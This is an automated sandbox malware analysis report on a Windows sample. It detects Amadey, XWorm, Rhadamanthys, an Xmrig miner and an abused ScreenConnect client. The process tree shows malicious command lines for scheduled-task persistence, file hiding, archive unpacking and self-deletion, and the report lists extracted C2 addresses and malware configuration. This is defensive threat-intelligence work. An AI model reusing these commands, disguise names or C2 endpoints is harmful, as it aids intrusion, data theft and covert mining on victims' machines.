Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1576331
MD5:	2fc42f0719a7156cb2c4ea3c999de03c
SHA1:	3c200f0927ad1096d0fea57d490c29bf2e54314b
SHA256:	e0dd54e04f86e6a32d6e442e8267d7b67d838c9976dff81bf8e2ec4f04d6bfaa
Tags:	exeuser-Bitsight
Infos:

Detection

ScreenConnect Tool, Amadey, RHADAMANTHYS, XWorm, Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected RHADAMANTHYS Stealer

Yara detected XWorm

Yara detected Xmrig cryptocurrency miner

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

.NET source code references suspicious native API functions

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Contains functionality to hide user accounts

Contains functionality to register a low level keyboard hook

Enables network access during safeboot for specific services

Found strings related to Crypto-Mining

Hides threads from debuggers

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies security policies related information

Modifies the context of a thread in another process (thread injection)

PE file contains section with special chars

Possible COM Object hijacking

Potentially malicious time measurement code found

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Reads the Security eventlog

Reads the System eventlog

Sample uses string decryption to hide its real strings

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Uses cmd line tools excessively to alter registry or file data

Uses ping.exe to check the status of other devices and networks

Uses schtasks.exe or at.exe to add and modify task schedules

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for available system drives (often done to infect USB drives)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to dynamically determine API calls

Contains functionality to launch a process as a different user

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Creates job files (autostart)

Creates or modifies windows services

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Enables security privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Startup Folder File Write

Sigma detected: Suspicious Add Scheduled Task Parent

Sigma detected: Suspicious Schtasks From Env Var Folder

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Yara detected ScreenConnect Tool

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 6228 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 2FC42F0719A7156CB2C4EA3C999DE03C)

skotes.exe (PID: 3152 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 2FC42F0719A7156CB2C4EA3C999DE03C)

skotes.exe (PID: 1908 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 2FC42F0719A7156CB2C4EA3C999DE03C)

skotes.exe (PID: 7624 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 2FC42F0719A7156CB2C4EA3C999DE03C)

software1.exe (PID: 7804 cmdline: "C:\Users\user\AppData\Local\Temp\1016235001\software1.exe" MD5: A5F523E1C127D30AAA5CE1482586E8FF)

schtasks.exe (PID: 7872 cmdline: "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "X91lnt" /tr "C:\Users\user\AppData\Roaming\X91lnt.exe" MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 7880 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

ZoomUpdateInstallerFull.exe (PID: 6336 cmdline: "C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe" MD5: D0C12EE2B2DE8797A2AEEE409EAB842E)

msiexec.exe (PID: 2664 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Local\Temp\ScreenConnect\24.3.7.9067\9e47e837d725d609\ScreenConnect.ClientSetup.msi" MD5: 9D09DC1EDA745A5F87553048E57620CF)

846a1e1ef7.exe (PID: 7388 cmdline: "C:\Users\user\AppData\Local\Temp\1016269001\846a1e1ef7.exe" MD5: 3A425626CBD40345F5B8DDDD6B2B9EFA)

cmd.exe (PID: 5260 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

mode.com (PID: 1208 cmdline: mode 65,10 MD5: BEA7464830980BF7C0490307DB4FC875)

7z.exe (PID: 6548 cmdline: 7z.exe e file.zip -p24291711423417250691697322505 -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6600 cmdline: 7z.exe e extracted/file_7.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 6852 cmdline: 7z.exe e extracted/file_6.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7088 cmdline: 7z.exe e extracted/file_5.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7460 cmdline: 7z.exe e extracted/file_4.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 3896 cmdline: 7z.exe e extracted/file_3.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 5696 cmdline: 7z.exe e extracted/file_2.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

7z.exe (PID: 7488 cmdline: 7z.exe e extracted/file_1.zip -oextracted MD5: 619F7135621B50FD1900FF24AADE1524)

attrib.exe (PID: 7492 cmdline: attrib +H "in.exe" MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

in.exe (PID: 1284 cmdline: "in.exe" MD5: 83D75087C9BF6E4F07C36E550731CCDE)

attrib.exe (PID: 1644 cmdline: attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 1784 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

attrib.exe (PID: 1716 cmdline: attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 5037D8E6670EF1D89FB6AD435F12A9FD)

conhost.exe (PID: 1516 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 1464 cmdline: schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE MD5: 76CD6626DD8834BD4A42E6A565104DC2)

conhost.exe (PID: 1892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5752 cmdline: powershell ping 127.0.0.1; del in.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4112 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

PING.EXE (PID: 4228 cmdline: "C:\Windows\system32\PING.EXE" 127.0.0.1 MD5: 2F46799D79D22AC72C241EC0322B011D)

74df2248d3.exe (PID: 2912 cmdline: "C:\Users\user\AppData\Local\Temp\1016274001\74df2248d3.exe" MD5: 99DD38354007AD11F18A1B615C9BB10B)

X91lnt.exe (PID: 7920 cmdline: C:\Users\user\AppData\Roaming\X91lnt.exe MD5: A5F523E1C127D30AAA5CE1482586E8FF)

msiexec.exe (PID: 1368 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 3328 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding E5CDA60B384156AE05B5636DFE5419D6 C MD5: 9D09DC1EDA745A5F87553048E57620CF)

rundll32.exe (PID: 1928 cmdline: rundll32.exe "C:\Users\user\AppData\Local\Temp\MSIBAE7.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_6470500 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments MD5: 889B99C52A60DD49227C5E485A016679)

msiexec.exe (PID: 7172 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 327EB0D7911EE728674347297CC5FAE5 MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 6632 cmdline: C:\Windows\syswow64\MsiExec.exe -Embedding 73A58B9F36A94B7EA630D7BED49D6F14 E Global\MSI0000 MD5: 9D09DC1EDA745A5F87553048E57620CF)

ScreenConnect.ClientService.exe (PID: 792 cmdline: "C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-m858nm-relay.screenconnect.com&p=443&s=3cd214b7-5aab-4db7-9625-6ab5da5d3fae&k=BgIAAACkAABSU0ExAAgAAAEAAQAVnkKvoJ2a5Owy72d6CsGdKvHoeDC4B57FaJ6Hxr4F3MVrvri8W9EBpR76DnouoQOLdhagN9jXLv1DU9oYtbUyE5f22RxeyKb5ACDc8ergbSKA6QVCTyTw%2b3U%2fOzjOQHcKvuOA1wvUksct4fMl%2fH6deBklLuXsqF5i5v%2be0%2fy69N3M%2byB6qBKOsSPdQFoez5pkMEvZ%2bP26YFGRbMQy7WBZp%2bnngJN34UsDIkAV0RR4%2foS8UwkCPPERznjyO7T3iiIpbJgk9Xyyo9LATv0PIVIobYuVGgw6FX9yR8iM6FgVacp6H5r7KSQo5HS13%2bcfCkJbSoce8r%2fzHSz0DB93mjez" MD5: 75B21D04C69128A7230A0998086B61AA)

ScreenConnect.WindowsClient.exe (PID: 1460 cmdline: "C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe" "RunRole" "cfa29388-3a4c-4d58-a99b-602f2ce1af9d" "User" MD5: 1778204A8C3BC2B8E5E4194EDBAF7135)

X91lnt.exe (PID: 7264 cmdline: "C:\Users\user\AppData\Roaming\X91lnt.exe" MD5: A5F523E1C127D30AAA5CE1482586E8FF)

X91lnt.exe (PID: 7412 cmdline: "C:\Users\user\AppData\Roaming\X91lnt.exe" MD5: A5F523E1C127D30AAA5CE1482586E8FF)

Intel_PTT_EK_Recertification.exe (PID: 5016 cmdline: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe MD5: 83D75087C9BF6E4F07C36E550731CCDE)

explorer.exe (PID: 1860 cmdline: explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

powershell.exe (PID: 5608 cmdline: powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 7132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Name	Description	Attribution	Blogpost URLs	Link
XWorm	Malware with wide range of capabilities ranging from RAT to ransomware.	No Attribution	https://any.run/cybersecurity-blog/xworm-malware-communication-analysis/ https://any.run/cybersecurity-blog/xworm-technical-analysis-of-a-new-malware-version/ https://blog.cyble.com/2022/08/19/evilcoder-project-selling-multiple-dangerous-tools-online/ https://cert.pl/en/posts/2023/10/deworming-the-xworm/ https://embee-research.ghost.io/infrastructure-analysis-with-dns-pivoting/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xworm

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

Threatname: Xworm

{"C2 url": ["eur-automatically.gl.at.ply.gg"], "Port": 33081, "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.6"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x5eadd:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x5eb7a:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x5ec8f:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x5e873:$cnc4: POST / HTTP/1.1

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\~DF57056AEEE3BBD202.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Installer\inprogressinstallinfo.ipi	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DF9BE0A48E8820FB86.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DF4E5797442E708356.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Temp\~DFC05B8470E789E83F.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\software1[1].exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x96de:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x977b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9890:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x94ba:$cnc4: POST / HTTP/1.1
C:\Users\user\AppData\Roaming\X91lnt.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Roaming\X91lnt.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x96de:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x977b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9890:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x94ba:$cnc4: POST / HTTP/1.1
C:\Windows\Temp\~DFBA545A41CE89C3A1.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Config.Msi\62bf7b.rbs	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
C:\Users\user\AppData\Local\Temp\1016235001\software1.exe	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x96de:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x977b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9890:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x94ba:$cnc4: POST / HTTP/1.1
C:\Windows\Temp\~DFC668883F19D1839B.TMP	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Windows\Installer\MSIC324.tmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Program Files (x86)\ScreenConnect Client (9e47e837d725d609)\ScreenConnect.WindowsClient.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Temp\1016247001\ZoomUpdateInstallerFull.exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ZoomUpdateInstallerFull[1].exe	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Click to see the 13 entries

Memory Dumps

Source	Rule	Description	Author	Strings
0000002F.00000002.2758055837.000000014040B000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000002.1786642857.00000000002E1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000002F.00000002.2757735087.00000001402DD000.00000002.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000001.00000002.1783199135.00000000002E1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000006.00000002.2969394575.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x92ee:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x938b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x94a0:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x90ca:$cnc4: POST / HTTP/1.1
00000000.00000002.1752435441.00000000002E1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000003.2295879055.0000000004AF0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.1742814357.0000000004AD0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2569883580.0000000005660000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000006.00000003.2393191289.0000000000E2A000.00000004.00000020.00020000.00000000.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x1473:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x1510:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x1625:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x124f:$cnc4: POST / HTTP/1.1
00000014.00000000.2600360439.00000000009E2000.00000002.00000001.01000000.00000018.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000007.00000002.2972499104.0000000002621000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
0000002F.00000002.2756046562.00000000005AC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000007.00000000.2396214625.00000000001E2000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
00000007.00000000.2396214625.00000000001E2000.00000002.00000001.01000000.00000009.sdmp	MALWARE_Win_AsyncRAT	Detects AsyncRAT	ditekSHen	0x94de:$cnc1: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0 0x957b:$cnc2: Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1 0x9690:$cnc3: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 0x92ba:$cnc4: POST / HTTP/1.1
00000032.00000003.2773698630.0000000005CB0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000032.00000003.2771544130.0000000003250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000002F.00000002.2756046562.0000000000596000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000002.00000003.1746425189.0000000004A50000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000006.00000002.2966984378.00000000002E1000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.1711767509.0000000004E90000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000002.2573853588.00000000064B1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
00000032.00000003.2773531840.0000000005A90000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
00000014.00000002.2974697720.0000000002E31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
0000000C.00000000.2542761866.00000000006D6000.00000002.00000001.01000000.0000000C.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x325ac8:$x1: donate.ssl.xmrig.com
0000002D.00000003.2750064792.0000016FEE440000.00000004.00000001.00020000.00000000.sdmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x326778:$s1: %s/%s (Windows NT %lu.%lu 0x32a380:$s3: \\.\WinRing0_ 0x2e3f30:$s4: pool_wallet 0x2de778:$s5: cryptonight 0x2de788:$s5: cryptonight 0x2de798:$s5: cryptonight 0x2de7a8:$s5: cryptonight 0x2de7c0:$s5: cryptonight 0x2de7d0:$s5: cryptonight 0x2de7e0:$s5: cryptonight 0x2de7f8:$s5: cryptonight 0x2de808:$s5: cryptonight 0x2de820:$s5: cryptonight 0x2de838:$s5: cryptonight 0x2de848:$s5: cryptonight 0x2de858:$s5: cryptonight 0x2de868:$s5: cryptonight 0x2de880:$s5: cryptonight 0x2de898:$s5: cryptonight 0x2de8a8:$s5: cryptonight 0x2de8b8:$s5: cryptonight
00000032.00000003.2774274912.0000000005590000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000000C.00000002.2561955372.0000000002DE1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: skotes.exe PID: 7624	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: software1.exe PID: 7804	JoeSecurity_XWorm	Yara detected XWorm	Joe Security
Process Memory Space: ZoomUpdateInstallerFull.exe PID: 6336	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: rundll32.exe PID: 1928	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: ScreenConnect.WindowsClient.exe PID: 1460	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5016	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: explorer.exe PID: 1860	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: 74df2248d3.exe PID: 2912	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 34 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.ZoomUpdateInstallerFull.exe.5660000.8.raw.unpack	JoeSecurity_ScreenConnectTool	Yara detected ScreenConnect Tool	Joe Security
1.2.skotes.exe.2e0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
